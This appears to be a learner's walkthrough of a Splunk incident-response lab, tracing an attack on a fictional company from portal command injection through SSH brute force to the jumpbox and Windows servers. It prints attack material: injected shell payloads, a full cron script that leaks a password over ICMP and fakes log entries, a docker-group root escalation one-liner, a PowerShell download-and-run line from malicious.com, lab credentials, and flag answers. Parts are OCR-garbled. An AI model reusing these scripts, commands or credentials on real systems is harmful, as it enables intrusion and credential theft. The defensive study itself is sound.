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Background: Your company Telesecure sufferd a cyber attack. Logs from all critical systems are forwarded to Splunk. An alert was triggered indicating abnormal behavior on the portal. Your task is to investigate the incident and identify how the attacker moved through the environment. Access the siem splunk <u>here</u> with creds user: admin pass: P@\$\$w0rd12 and answer the following question. Stage 1: Initial Access (Customer Portal)

Q1. The attacker exploited a vulnerable web parameter to gain access.

Flag 1: What parameter was exploited on the portal for command injection? Answer: command injection

``index="*" host=customer_portal

i	Time	Event
>	5/23/24 9:17:12.000 AM	2024-05-23T09:17:12+00:00 sshd[1890]: Failed password for artisan from 172.191.38.100 host = <mark>customer_portal</mark> source = /var/log/customer_portal/auth.log sourcetype = customer_portal3
>	5/23/24 9:16:30.000 AM	2024-05-23T09:16:30+00:00 node-app[1782]: GET /check-status?phone=python3%20-c%20%27import%20pty;pty.spawn(%22/bi n/bash%22)%27 2\$ host = customer_portal source = /var/log/customer_portal/node-app.log sourcetype = customer_portal
>	5/23/24 9:16:05.000 AM	2024-05-23T09:16:05+00:00 node-app[1782]: GET /check-status?phone=id 200 45 - "curl/7.68.0" host = <mark>customer_portal</mark> source = /var/log/cu stomer_portal/nsde app.log sourcetype = c ustomer_portal
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so here they can login to the server.

The first thing to do is to understand what is running on the server. more specifically how and where the webportal is running.

Active	tive Internet connections (servers and established)												
Proto	Recv-Q S	Send-Q	Local	Address	Foreign Address	State	PID/Program name						
tcp	Θ	Θ	127.0	.0.53:53	0.0.0.0:*	LISTEN	920/systemd-resolve						
tcp	Θ	Θ	0.0.0	.0:22	0.0.0:*	LISTEN	1331/sshd						
tcp	Θ	Θ	0.0.0	.0:3000	0.0.0:*	LISTEN	4068/node						
tcp	Θ	268	10.75	.1.4:22	102.86.9.111:2994	ESTADLISHED	0 4700/sshd: labuser						
tcp	Θ	1	10.75	.1.4:50654	172.200.170.121:9997	SYN_SENT	1509/splunkd						
tcp6	Θ	Θ	:::22		:::*	LISTEN	1331/sshd						
root@c	ustomer-	-portal	-2119	:/home/labuser#									

From there they can comfirm that may be a node app is running. but to confirm well we can also run this,

root@cus	stomer-port	al-2119):/home/l	abuser#	sudo l	.sof ·	-i :300	Θ				
COMMAND	COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME											
node	ode 4068 root 19u IPv4 32799 0t0 TC <mark>P *:3000 (LISTEN)</mark>											
root@cus	stomer-port	al-2119	:/home/l	abuser#	ps aux	(g:	rep nod	e				
root	4068 0.	0 1.3	603808 5	3064 ?		Sl	13:42	0:00 I	node test.j:	s		
root	5644 0.	0 0.0	14860	1040 pts	;/0	S+	14:09	0:00	Jiep colo.	I -au CO	node	
root@cus	stomer-port	al-2119	:/home/l	abuser#	netsta	it -ai	ntp					

from the above one can understand there is a node js app running and maybe be indexed by test.js file. to further confirm that we can run the ip in the browser on that port and see.



To answer the question we can either test the app or we can analyse the code in www directory to discover the exploited vulnerability.

What's Vulnerable?

This block:

```
// Vulnerable: Execute invalid phone input as a command exec(phone, (error,
stdout, stderr) => {`
```

If the user submits a phone number that fails the regex (e.g. not +256XXXXXXXXX), you're passing their input **directly to the OS shell** via exec().



Exploit Example

An attacker could request:

GET /check-status?phone=whoami

Q: What parameter was exploited? → phone

- **Vulnerability?** \rightarrow Command Injection using exec()
- **Fix?** \rightarrow Remove the exec(phone) logic. Validate and reject bad input instead.

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Q2. Determine if remote code execution was successful. 📌

Flag 2: What command did the attacker execute first to confirm the vulnerability?

answr: id

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``index="*" host=customer portal GET
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Still one can analyze the application logs in /var/log/node-app.log

root@customer-portal-2119:/home/labuser# grep "Command executed" /var/log/node-app.log
2024-05-23T09:16:05+00:00 node-app[1782]: Command executed: id
2024-05-23T09:16:30+00:00 node-app[1782]: Gommand executed: id
-05-23T09:16:30+00:00 node-app[1782]: Command executed: python3 -c 'import pty;pty.spawn("/bin/bash")'
root@customer-portal-2119:/home/labuser#

or they see a get request.



Brute

Q3. The attacker tried to brute force an authentication service.

Flag 3: What service was it?

answ: ssh

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# date_zone 1 a index 1 # linecount 1	>	5/23/24 9:17:12.000 AM	2024-05-23T09:17:12+00:00 schd[1890]: Failed password for artisan from 172.191.38.10 port 22 host = customer_portal source = /var/log/customer_portal/authlog sourcetype = custome_portal3									
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Analysing auth.log we see alot of bruteforce on user artisan and the service is ssh which

runs on port 22.

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root@customer-portal-2119:/home/labuser# sudo grep -i "failed password" /var/log/auth.log grep	artisan
May 20 12:29:56 prod-customer-portal sshd[29080]: Failed password for artisan from 102.86.7.22 po	rt 2561 ssh2
May 20 12:29:56 prod-customer-portal sshd[29076]: Failed password for artisan from 102.86.7.22 po	rt 2513 ssh2
May 20 12:29:56 prod-customer-portal sshd[29078]: Failed password for artisan from 102.86.7.22 po	rt 2350 ssh2
May 20 12:29:56 prod-customer-portal sshd[29079]: Failed password for artisan from 102.86.7.22 po	rt 8808 ssh2
May 20 12:29:56 prod-customer-portal sshd[29083]: Failed password for artisan from 102.86.7.22 po	rt 8586 ssh2
May 20 12:29:56 prod-customer-portal sshd[29082]: Failed password for artisan from 102.86.7.22 po	rt 13143 ssh2
May 20 12:29:56 prod-customer-portal sshd[29081]: Failed password for artisan from 102.86.7.22 po	rt 4865 ssh2
May 20 12:29:56 prod-customer-portal sshd[29084]: Failed password for artisan from 102.86.7.22 po	rt 4201 ssh2
2024-05-23T09:17:12+00:00 ssht [1890]: Failed password for artisan from 172.191.38.100 port 22	
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we can also comfirm that by running this command. if we are to filter out authentocation for only available users on the server.

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grep "Failed password" /var/log/auth.log | \
> sed -n 's/.*Failed password for \(invalid user \)\{0,1\}\([^ ]*\) from [^
]* port [^ ]* (ssh2).*/2 3/p' | 
> grep -E '^(artisan|root) ' | \
> sort | uniq -c | sort -nr
```

result:



we can also comfirm that here.

```
grep "Failed password" /var/log/auth.log | \
sed -n 's/.*Failed password for \(invalid user \)\{0,1\}\([^ ]*\) from [^ ]*
port [^ ]* \(ssh2\).*/\2 \3/p' | \
sort | uniq -c | sort -nr
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root@cu	stomer-portal-2119:/home/labuser# grep "Failed password" /var/log/auth.log \ n 's/ *Eailed password for \(invalid user \)\f0 1\}\[[] from */\2/n' \
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103	Support
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92	hadoo
90	test1
86	usuario
83	ait
76	config
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69	dolphinscheduler
67	ftp
66	nginx
66	mysql
65	nobody
64	dev
64	blank
61	gitlab
60	steam
57	www
57	wang
57	esuser
55	app
54	deployer
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52	artisan
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50	TLASR

IOC

Identify the ip that tried to bruteforce an authentication service and the the username targeted.

answer-format:ip:user

same filter as the above will reveal the answer.

index="*" host=customer_portal ssh

To answer this we need to first understand that three users are on the system.i.e artisan and labuser, azureuser plus the root.

we can first analyze all accepted password logs to understand the account activity. we shall run this command.

```
grep "Accepted password for" /var/log/auth.log | \
sed -n 's/.*Accepted password for \([^ ]*\) from \([^ ]*\) port [^ ]*
ssh2.*/\2:\1/p' | \
sort | uniq -c | sort -nr
```

root@customer-portal-2119:/home/labuser# grep "Accepted password for" /var/log/auth.log \
> sed -n 's/.*Accepted password for \([^]*\) from \([^]*\) port [^]* ssh2.*/\2:\1/p' \
> sort uniq -c sort -nr
6 102.215.111.41:azureuser
5 102.86.7.22:azureuser
4 41.210.159.47:azureuser
4 197.239.8.80:azureuser
3 41.210.147.225:azureuser
3 197.239.11.45:azureuser
2 197.239.13.68:azureuser
1 41.210.159.74:azureuser
1 41.210.147.242:azureuser
1 34.38.25.81:azureuser
1 197.239.6.205:azureuser
1 197.239.15.39:azureuser
1 197.239.13.51:azureuser
1 102.86.9.111:labuser
1 102.86.7.22:artisan
1 102.86.1.184:azureuser
root@customer-portal-2119:/home/labuser#

we can then narrow the filter to the users and see their invalid authentication activity. We can tell that user root has its authentication fails scattered and azure user too given the time stamps. but the suspicios time stamps for user artisan which is same time range gives us a thinking it was a bruteforce given the same ip and same time stamp of access.

grep "Failed password" /var/log/auth.log | sed -n 's/\(\w\+ \+[0-9]\+ [0-9:]\+\).*Failed password for \(invalid user \)\{0,1\}\([^]*\) from \([^]*\) port \([^]*\) ssh2.*/\1 \4:\3 protocol:ssh2 port:\5/p' | grep -E ': (artisan|root|labuser|azureuser) ' root@customer-portal-2119:/home/labuser# grep "Failed password" /var/log/auth.log | sed -n 's/\(\w\+ \+[0-9]\+ [0-9:]\+\).*Failed password for \(invalid user \)\{0,1\}\([^]*\) from \([^]*\) port \([^]*\) ssh2.*/\1 \4:\3 protocol:ssh2 port:\5/p' | grep -E ': (artisan|labuser|azureuser) '

command-



to validate that we can now filter the successful login. filter by Accepted password

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grep "Accepted password for" /var/log/auth.log | \
sed -n 's/^\(\w\+ \+[0-9]\+ [0-9:]\+\).*Accepted password for \([^ ]*\) from
\([^ ]*\) port \([^ ]*\) ssh2.*/\1 \3:\2 protocol:ssh2 port:\4/p' | \
grep -E ':(artisan|root|labuser|azureuser) '
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below

root@customer-portal-2119:/home/labuser# grep "Failed password" /var/log/auth.log sed -n 's/^\(\w\+ \+[0-9]\+ [0-9:]\+\).*Failed password +or \(invalid us
er \)\{0,1\}\([^]*\) from \([^]*\) port \([^]*\) ssh2.*/\1 \4:\3 protocol:ssh2 port:\5/p' grep -E ':(artisan root labuser azureuser) '
root@customer-portal-2119:/home/labuser# grep "Failed password" /var/log/auth.log sed -n 's/\(\w\+ \+[0-9]\+ [0-9:]\+\).*Failed password for \(invalid us
er \)\{0,1\}\([^]*\) from \([^]*\) port \([^]*\) ssh2.*/\1 \4:\3 protocol:ssh2 port:\5/p' grep -E ':(artisan labuser azureuser) '
May 18 09:25:27 174.138.54.122:azureuser protocol:ssh2 port:37434
May 19 14:34:55 196.251.84.225 <mark>:azureuser</mark> protocol:ssh2 port:60530
May <u>20 11:28:02 102.86.7.22:azureuser</u> protocol:ssh2 port:8274
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May 20 15:14:50 64.225.22.241:azureuser protocol:ssh2 port:40832
May 20 20:26:50 197.239.8.80:azureuser protocol:ssh2 port:9704
May 20 20:44:35 197.239.8.80:azureuser protocol:ssh2 port:3926
May 20 20:48:20 165.227.68.18:azureuser protocol:ssh2 port:57596
May 22 04:55:53 197.239.11.45:azureuser protocol:ssh2 port:128
May 22 15:35:36 138.197.115.130:azureuser protocol:ssh2 port:34662
May 22 22:33:16 102.86.1.184;azureuser protocol:ssh2 port:1889
root@customer-portal-2119:/home/labuser# grep "Accepted password for" /var/log/auth.log \
> sed -n 's/^\(\w\+ \+[0-9]\+ [0-9:]\+\).*Accepted password for \([^]*\) from \([^]*\) port \([^]*\) ssh2.*/\1 \3:\2 protocol:ssh2 port:\4/p' \
> grep -E ':(artisan root labuser azureuser) '
May 18 06:57:35 41.210.159.47:azureuser protocol:ssh2 port:4593
May 18 06:58:41 41.210.159.47:azureuser protocol:ssh2 port:4594
May 18 07:01:37 41.210.159.47: <mark>azureuser</mark> protocol:ssh2 port:4595
May 18 09:25:11 41.210.159.47:azureuser protocol:ssh2 port:4848
May 19 12:35:00 34.38.25.81 <mark>:azureuser</mark> protocol:ssh2 port:47230
May 20 10:22:13 197.239.13.68:azureuser protocol:ssh2 port:3487
May 20 10:23:53 102.86.7.22 <mark>:azureuser</mark> protocol:ssh2 port:4154
May 20 11:28:04 102.86.7.22: <mark>azureuser</mark> protocol:ssh2 port:8274
May 20 11:38:04 102.215.111.41:azureuser protocol:ssh2 port:44362
May 20 11:58:31 102.215.111.41: <mark>azureuser</mark> protocol:ssh2 port:45042
May 20 11:59:16 197 239 13 68:370 marshop protocol:ssh2 port:7221
May 20 12:29:54 102.86.7.22:artisan protocol:ssh2 port:5859
May 20 13:04:11 102.215.111.41:azureuser protocol:ssh2 port:60488
May 20 13:22:33 102.86.7.22:azureuser protocol:ssh2 port:857
May 20 13:29:32 197.239.13.51:azureuser protocol:ssh2 port:4/17
May 20 15:05:29 102.86.7.22:azureuser protocol:ssh2 port:1042
May 20 15:10:14 102.86.7.22:azureuser protocol:ssh2 port:906
May 20 19:31:47 197.239.8.80:azureuser protocol:SSN2 port:/85

from the above screenshot we can tell the successful login was in the same time stamp as the failed one for user artisan and the ip is the same. so the ip and the user can be seen.

Jumper

Q4. The attacker found SSH credentials, that they used to access the jumpbox gateway: The attacker added a user to a wierd group

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✤ Flag 4: what group is it?
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answer docker
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index="*" host="prod-jumpbox" sh
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<pre>index="*" host="prod-jumpbox" sh</pre>											
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So we can first understand what is running on the customer portal since teh qn says

attacker got jumpbox credentials.Look for anything like:

- Python scripts
- Curl/wget fetching remote files
- Long-running ssh or bash commands

ps aux | grep -vE "^\s*USER" | grep -vE "sshd|bash|ps|grep"

root	1322	0.0	0.0	16420	2408	ttyS0	Ss+	13:41	0:00 /sbin/agetty -o -p \ukeep-baud 115200,3840
root	1329	0.0	0.0	14896	1924	tty1	Ss+	13:41	0:00 /sbin/agetty -o -p \unoclear tty1 linux
root	1330	0.0	0.1	288884	6616	?	Ssl	13:41	0:00 /usr/lib/policykit-1/polkitdno-debug
splunkf+	1509	0.4	4.2	412596	170172	2 ?	Ssl	13:41	0:26 splunkdunder-systemdsystemd-delegate=no -p
root	1724	0.0	0.0	4516	792	?	S	13:41	0:00 bpfilter_umh
root	1849	0.1	0.8	461408	32228	?	Sl	13:41	0:06 python3 -u bin/WALinuxAgent-2.13.1.1-py3.9.egg -
splunkf+	2081	0.0	0.4	146576	17480	?	Ss	13:41	0:00 [splunkd pid=1509] splunkdunder-systemdsys
nder_syst	emd [p	roces	s-ru	nner]					
root	4068	0.0	1.3	603808	53224	?	sl	13:42	0:00 node test.js
labuser	4799	0.0	0.1	76660	7620	?	Ss	13:56	0:00 /lib/systemd/systemduser
labuser	4800	0.0	0.0	193932	2748	?	S	13:56	0:00 (sd-pam)
root	4815	0.0	0.0	0	Θ	?	I	13:56	0:00 [kworker/0:0-eve]
root	5072	0.0	0.1	68300	4400	pts/0	S	13:58	0:00 sudo su
root	5073	0.0	0.0	63476	3700	pts/0	S	13:58	0:00 su
root	6762	0.0	0.0	0	0	?	I	14:32	0:01 [kworker/u4:0-ev]
root	7620	0.0	0.0	0	Θ	?	I	14:47	0:00 [kworker/0:1]
root	8761	0.0	0.0	Θ	Θ	?	I	15:09	0:00 [kworker/u4:2-ev]
root	8971	0.0	0.0	59232	3136	?	S	15:14	0:)0 /usr/sbin/CRON -f
root	8972	0.0	0.0	4636	780	?	Ss	15:14	0:00 /bin/sh -c /opt/scripts/jumpbox-sync.sh
root	9017	0.0	0.0	Θ	Θ	?	I	15:15	0:00 [kworker/u4:1-ev]
root	9023	0.0	0.0	59232	3136	?	S	15:15	0: <mark>00 /usi/sbin/CROW f</mark>
root	9024	0.0	0.0	4636	816	?	Ss	15:15	0:00 /bin/sh -c /opt/scripts/jumpbox-sync.sh
root	9068	0.0	0.0	59232	3136	?	S	15:16	0:10 /usr/shin/CRON -f
root	9069	0.0	0.0	4636	868	?	Ss	15:16	0:00 /bin/sh -c /opt/scripts/jumpbox-sync.sh
root	9094	0.0	0.0	16852	1116	?	S	15:16	0:00 ping -c 1 -s 51 10.10.10.5
root	9097	0.0	0.0	16852	1228	?	S	15:16	0:00 ping -c 1 -s 103 10.10.10.5
root	9098	0.0	0.0	7932	788	?	S	15:16	0:00 sleep 3
root@cust	omer-p	ortal	-2119	9:/home,	/labuse	er#			

From the output we can see some scripts running or cronjobs. we can analyse them and see.

for user in \$(cut -f1 -d: /etc/passwd); do crontab -u \$user -l 2>/dev/null; done

we have found out that **every minute**, the script /opt/scripts/jumpbox-sync.sh is executed.

Multiple instances show it's being run regularly — this is the mechanism used to maintain **persistence** or possibly **automate SSH access to the jumpbox**.





The question said:

"The attacker found SSH credentials, that they used to access the jumpbox gateway." Now it makes sense:

- The script is running on the customer portal
- It likely contains the SSH logic to reach the jumpbox
- Probably automated to maintain persistence or relay something to/from the jumpbox

Opening the sh file.

We've confirmed a stealthy credential exfiltration script.

This is highly malicious and clearly part of the attacker's persistence and data exfiltration setup.

Suspicious: **The attacker is** sourcing a hidden .env file** (likely contains JUMPBOX_PASS = SSH password). This is where the stolen credentials reside.

Exfiltration Method 1: ICMP Ping Tunnel

```
for ((i=0; i<${#JUMPBOX_PASS}; i++)); do
    HEX=$(printf "%02x" "'${JUMPBOX_PASS:$i:1}")
    ping -c 1 -s $((0x$HEX)) 10.10.10.5 >/dev/null 2>&1
    sleep $((RANDOM%3+1))
done
```

🛑 Malicious Behavior:

- It converts each character of the SSH password into its hex ASCII code.
- Then sends a ping packet with that character as the size to 10.10.10.5 (the attacker-controlled jumpbox).
- Slow trickle to evade detection and blend with normal network noise.

Exfiltration Method 2 (Fallback/Redundant):

echo "\${JUMPBOX_PASS:0:4}_REDACTED" > /dev/shm/.netconf

Memory-Based Persistence:

 Writes a partial password to a temporary memory location (/dev/shm/) — avoids touching disk logs. Possibly used by another local tool or reverse shell.

/ Cleanup + Obfuscation

echo "rm -f /dev/shm/.netconf" | at now + 1 hour

Automatically deletes the file in 1 hour using the at scheduler to erase evidence.

logger -t "network-monitor" "Completed connectivity check to jumpbox"

Fakes a log line to **look legitimate in** syslog — trying to camouflage the operation as routine network monitoring.

K This Confirms:

- The attacker planted credentials or found them, stored them in .env, and is leaking them via ICMP.
- The jumpbox at 10.10.10.5 is the receiver.
- There's a cronjob every minute to run this.
 -## What You Should Do Next

1. Stop the Cronjob

crontab -e \ # Remove the line: # /1 * * * /opt/scripts/jumpbox-sync.sh` ``rm -f /opt/scripts/jumpbox-sync.sh /opt/scripts/.env

```
root@customer-portal-2119:/home/labuser# cat /opt/scripts/jumpbox-sync.sh
#!/bin/bash
# Set PATH for cron compatibility
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Source credentials (fail silently if missing)
source /opt/scripts/.env 2>/dev/null || exit 0
# Leak Method 1: ICMP Exfiltration (Primary)
for ((i=0; i<${#JUMPBOX_PASS}; i++)); do
HEX=$(printf "%02x" "'${JUMPBOX_PASS:$i:1}")
ping -c 1 -s $((0x$HEX)) 10.10.10.5 >/dev/null 2>&1
sleep $((RANDOM%3+1)) # Random delay 1-3 seconds
done
# Leak Method 2: Local Cache (Fallback)
echo "${JUMPBOX_PASS:0:4}_REDACTED" > /dev/shm/.netconf 2>/dev/null
# Cleanup
echo "rm -f /dev/shm/.netconf" | at now + 1 hour 2>/dev/null
# Legitimate-looking log entry
logger -t "network-monitor" "Completed connectivity check to jumpbox"
root@customer-portal-2119:/home/labuser#
```

We can even look at the .env

cat /opt/scripts/.env

```
root@customer-portal-2119:/home/labuser# cat /opt/scripts/.env
JUMPBOX_USER=ashu
JUMPBOX_HOST=10.10.10.5
JUMPBOX_PASS='kingJulian123'
root@customer-portal-2119:/home/labuser#
```

Now lets use the credentials exfiltrated to login to the jumpbox(get the ip from the lab ips. and boom they work.



So now lets answer the question of some user added to a wired group.

we can run grep -iE 'usermod|adduser|groupadd|docker' /var/log/auth.log

but unfortunately we dont see any log about that. but we check what groups user ashu is in.

To our suprise user ashu is in docker group



But why did the attacker do so??

```
ashu@jumpbox-2119:~$ grep docker /etc/group
docker:x:116:ashu
ashu@jumpbox-2119:~$
```

Why an attacker would add a user to the Docker group:

1. Docker group = root-equivalent access

- The docker group grants the ability to run docker commands without sudo.
- Docker commands can be used to **spawn containers with root privileges on the host system** or **mount the host filesystem inside a container**.

- This essentially gives the user **full root access to the host machine**, bypassing normal Linux privilege restrictions.

So basically this to the advantage of the attacker to use docker as previldged access to the system.

so if the attacker runs this

run -v /:/mnt --rm -it alpine chroot /mnt sh

They easily get root on the system



Answer:docker

Spraying

Q6. The attacker tried to log into the billing_svr workstation computer using a bruteforce attack but failed.

```
Flag 6: Which event ID indicated this? e.g 4729
index="*" host="billing_srv" EventID=4625
`answer: 4625
```



##Alt

We can now login to the billing server and answer this.

smbclient //10.76.1.7/BillingShare -U labuser%SecurePass@2025!

OR

Portforwarding

```
ssh -L 3390:Internal-ip:3389 labuser@customer-portalpublic-ip -t ssh -L
3390:internal-ip:3389 labuser@jumboxip
```

eg `ssh -L 3390:10.179.1.4:3389 <u>labuser@172.172.227.111</u> -t ssh -L 3390:10.179.1.4:3389 <u>labuser@10.178.2.4</u> You're:

- 1. SSHing into the Customer Portal (172.172.227.111)
- 2. From there, you're SSHing into the Jumpbox (10.178.2.4)
- 3. Forwarding local port 3390 → 10.179.1.4:3389 (RDP port of the internal Windows server)

Then from your local Windows machine, you're trying:

mstsc /v:localhost:3390



Look for Event ID 4625 (successful login).

Use PowerShell or Event Viewer:



Or check manually in Event Viewer:

- Open Event Viewer
- Go to Windows Logs > Security
- Filter by Event ID `4625

LOGON

Which account successfully initiated a logon on billing server?

```
answer: system
index="*" host="billing_srv" EventID=4624
```

index="*" host="bill	ing_srv"							
✓ 1,000 events (before 5)	5/28/25 8:19:04.00	0 PM)	No Event Sam	pling 🔻				
Events (1,000) Patte	erns Statistics	Vi	sualization					
Timeline format	- Zoom Out	+ Z	oom to Selection	× Deselect				
		Z F	ormat 🔻 Show	: 20 Per Page 🔻 View: L	ist 🔻			
< Hide Fields	:≡ All Fields	i	Time	Event				
SELECTED FIELDS		>	5/21/25 9:13:47.000 AM	"4625","prod-bill-srv","	44)","12	544","FailureAudit","		
a source 1 a sourcetype 1		E١	ventID				×	
INTERESTING FIELDS		31	/alues, 100% of eve	nts	Selected	Yes	No	
a Category 2 # CategoryNumber 2 a Data 1		Re Av	ports erage over time	Maximum value over time	Minimum value o	over time		sourcetype = Billing-si 44","FailureAudit","
a EntryType 2		То	p values	Top values by time	Rare values			
# EventID 3 # extracted_Index 100+ a extracted_Source 1		Ev	ents with this field rg: 4625.046 Min:	4624 Max: 4672 Std Dev: 1	.48663852128344			
a index 1		Va	lues	Count	%			sourcetype = Billing-si
# linecount 3		46	25	998	99.8%		_	4","FailureAudit","
a MachineName 1		46	24	1	0.1%			_
a punct 1		46	72	1	0.1%			_
a ReplacementStrings 1 a splunk_server 1 a TimeGenerated 100+				Account Name: Show all 50 lines	-			
a minedenerated 1001				host = billing_srv source	e = /var/log/billing_logs/	SecurityL	ogs.csv	sourcetype = Billing-si

power

A privileged account logged in the billing server and was granted powerful privileges. Which Windows Security Event ID indicated that?

answr:4672		
<pre>index="*" host="bill"</pre>	ing_srv" EventID=4672	
Get-WinEvent -LogName	Security Where-Objec	t { \$Id -eq 4672 } Format-
List limeCreated, Mes	sage	
PS (:\Users\labusers Get-WinEvent	ogName Security Where-Ohject { \$ Id	en 1672 } Format-List TimeCreated Message
		eq 40/2 j format Else filmeeredeed, hessage
TimeCreated : 6/4/2025 9:36:38 AM		
Message : Special privileges ass	igned to new logon.	
Subject:		
Security ID:	S-1-5-21-4291337238-3527184322-40319	153837-500
Account Name:	labuser	
Account Domain:	billserver9765	
Logon ID:	0x89DB68	
Privileges:	SeSecurityPrivilege	
SeTa	keOwnershipPrivilege	
SeLo	adDriverPrivilege	
SeBa	ckupPrivilege	
SeRe	storePrivilege	
SeDe	bugPrivilege	
SeSy	stemEnvironmentPrivilege	
SeIm	personatePrivilege	
SeDe	legateSessionUserImpersonatePrivilege	

cron

A sheduled task that runs everyone minute was created on the customerportal server, what is the name of the file it is running.

answr:jumpbox.sh index="linux_hosts" sourcetype=syslog process=CRON

index="linux_hosts" sourcetype=syslog process=CRON							
✓ 3,711 events (before 5/28/25 8:44:24.000 PM) No Event Sampling ▼							
Events (3,711) Patterns Statistics	Visualization						
✓ Timeline format ▼	+ Zoom to Selection × Deselect						
	✓ Format • Show: 20 Per Page • View: Raw •						
< Hide Fields III Fields	i Event						
SELECTED FIELDS	> May 22 22 33 01 prod-customer-portal CRONE3493]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
a host 2	> May 22 22 32 01 ord-customer-portal CRON[3442]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
a source 1 a sourcetype 1	> May 22 22 31 01 prod-customer-portal CRONE2989]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
INTERESTING FIELDS	> May 22 22 30 01 prod-customer-portal CRON[2935]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
# date_hour 24	> May 22 22 29 01 rod-customer-portal CRON[2885]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
# date_mday 3 # date_minute 60	> May 22 22 28 01 prod-customer-portal CRON[2834]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
a date_month 1	> May 22 22 27 01 prod-customer-portal CRON[2784]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
a date_wday 3	> May 22 22:26:01 rod-customer-portal CRON[2731]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
# date_year 1 a date_zone_1	> May 22 22:25:01 rod-customer-portal CRON[2679]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
a index 1	> May 22 22:24:01 rod-customer-portal CRON[2632]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
# linecount 1 # pid 100+	> May 22 22:23:01 rod-customer-portal CRON[2580]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
a process 1	> May 22 22:22:01 rod-customer-portal CRON[2527]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
a splunk_server 1	> May 22 22:21:01 rod-customer-portal CRON[2479]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
# timeendpos 1 # timestartpos 1	> May 22 22:28:01 rod-customer-portal CRON[2424]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
	> May 22 22:19:01 rod-customer-portal CRON[2370]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
+ Extract New Fields	> May 22 22:18:01 rod-customer-portal CRON[2320]: (root) CMD (/opt/scripts/jumpbox-sync.sh)						
	> May 22 22:17:01 rod-customer-portal CRON[2272]: (root) CMD (cd / && run-partsreport /etc/cron.hourly)						
	> May 22 22:17:01 rod-jumpbox CRON[5319]: (root) CMD (cd / && run-partsreport /etc/cron.hourly)						

CLI

Which process initiated the execution of PowerShell on engineer work station? `index="win_hosts" sourcetype=eng_workstation



Success

Q4. After failed login attempts , attacker gained access to the eng_workstation using a new account

✤ Flag 4: which user and what was the first time stamp attacker gained access and ?e.g flag format guest:3/22/2025 4:05:59 PM

```
index="win_hosts" sourcetype=eng_workstation
```

< Hide Fields	:≡ All Fields	i	Event
SELECTED FIELDS		>	*Application*,"ServiceSi#","7036","Information*,"Service WpmUserService started unexpectedly","5/22/2025 4:15:51 PM*
a host 1		>	"Security", "Microsoft-Windows-Security-Auditing", "4104", "Information", "PowerShell script: IEX(New-Object Net.WebClient).DownloadString('http://malicious.com/payload.pst')", "5/22/2025 4:14:51 PM"
a source 1 a sourcetype 1		>	"Application","COMsim","EMDFinition","COM object CLSID (ABC-123) loaded by rundl132.exe","5/22/2025 4:13:51 PM"
INTERECTING FIELDS		>	"Security","Microsoft-Windows-Security-Auditing","4688","Information","A new process has been created: Name: powershell.exe, Parent: explorer.exe","5/22/2025 4:10:51 PM"
a Channel 12		>	"Security","Hicrosoft-Windows-Security-Auditinz4624","SuccessAudit","An account was successfully logged on. Username: eviladmin","5/22/2025 4:09:51 PM"
a Computer 7 # date_bour_4		>	"Security","Microsoft-Windows-Security-md5iting","4625","FailureAudit","An account failed to log on. Subject: Username: adminuser","5/22/2025 4:08:51 PM*
# date_mday 1		>	*Application*,*AppCrashSjair=1000*,*Error*,*Application svchost.exe crashed with exception 0xc0000005*,*5/22/2025 4:07:51 PM*
# date_minute 9 a date_month 1		>	"LogName", "Source", "EventID", "Level", "Message", "TimeCreated"
# date_second 8 a date_wday 1 # date_yday 1 a date_zone 2 a Details 7 a ExtraFieldinto 1 a index 1 # Level 11 # Level 11 # Inecount 1 a punct 12 # RecordID 7 a RuleID 1 a Details 7		>	<pre>"33##05-22 00:53:41.440 +00:00","External Remote 548 Logon from Public IP","high","prod-eng-wks","5ec",4624,22213,"Type: 3 - NETHORK Tgtiser: adminuser SrcComp: AfQC-KLLAK SrcIP: 41.210.147.225 LDI: 0x8db6460","A dthenticationPackageName: NTUH LewateNdexm: YS ImpersonationLew1: IPPERSONATION IpPort: 0 KeyLength: 12 ImPackageName: NTUH Y LogonAdd: 0000000-0000-0000-0000-0000-0000-000</pre>
		>	*2025-05-22 00:53:37.731 *00:00*,"External Remote SHB Logon from Public IP*, "high", "prod-eng-wks", "Sec", 4624, 22209, "Type: 3 - NETHORK Tgtiser: adminuser SrcComp: AfQC+KLLAK SrcIP: 41,210.147,225 LD: 0x8db8bba", "A uthenticationPackageMane: NTUK LewateMoham: Y ImpersonationLew1: IPPERSONATION IpPort: 0 KeyLength: 12 ImpersonationLew1: IPPERSonationLew1: IPPERSona
		>	*2025-05-22 00:50:21.544 +00:00*,"External Remote 548 Logon from Public IP*, "high", "prod-eng-wks", "Sec", 4624, 225013, "Type: 3 - NETHORK Tgtiser: adminuser SrcComp: DESKND+-COHGUH SrcIP: 102.215.111.41 LID: 0x807d6C 6*, "AuthenticationPackageName: NILH ElevatedToken: YES ImpersonationLevel:] INPORT: 0 KeyLength: III LID: AuthenticationPackageName: NILH / LigonOdd: 000000-0000-00000-00000-00000-00000 LogonProcessiame: NILHS p Processia". RestrictedModned: - SalphetCamparities V SalphetCamparities V SalphetCamparities V - 10-0 TargetDoathone: root-en-exist TargetLiberSonAffinities (S-1-5-21-306037015-395418613-953)59058-500 TransmittedServices: - VirtualAccount: N0*, "Sc07a566-7829-eb85-481-0eb252ef9535f"
a splunk_server 1		>	*2025-05-22 07:41:43,932 +00:00*, "External Remote SMB Logon from Public IP", "high", "prod-eng-wks", "Sec", 4624,223062, "type: 3 - NETHORK TgtUser: adminuser SrcComp: DESKIOP-QBMLHH SrcIP: 102,215,111.41 LID: 0x862/26

injection

Your SIEM alerts you that a suspicious DLL was injected into a legitimate Windows process on a user's workstation.

After reviewing process memory and analyzing the injection, you can confirm the what DLL was loaded into the target process by a remote thread.



`index="win_hosts" sourcetype=eng_workstation dll

Search Analytics	Datasets I	eports Alerts Dashboards		> Search
